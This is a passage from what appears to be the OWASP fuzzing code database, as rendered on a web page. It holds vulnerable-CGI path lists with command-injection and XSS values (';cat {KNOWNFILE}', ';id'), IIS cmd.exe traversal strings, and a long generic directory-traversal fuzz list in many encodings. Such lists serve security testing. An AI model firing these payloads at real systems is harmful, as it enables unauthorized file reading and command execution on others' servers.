viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (77 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (7 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> 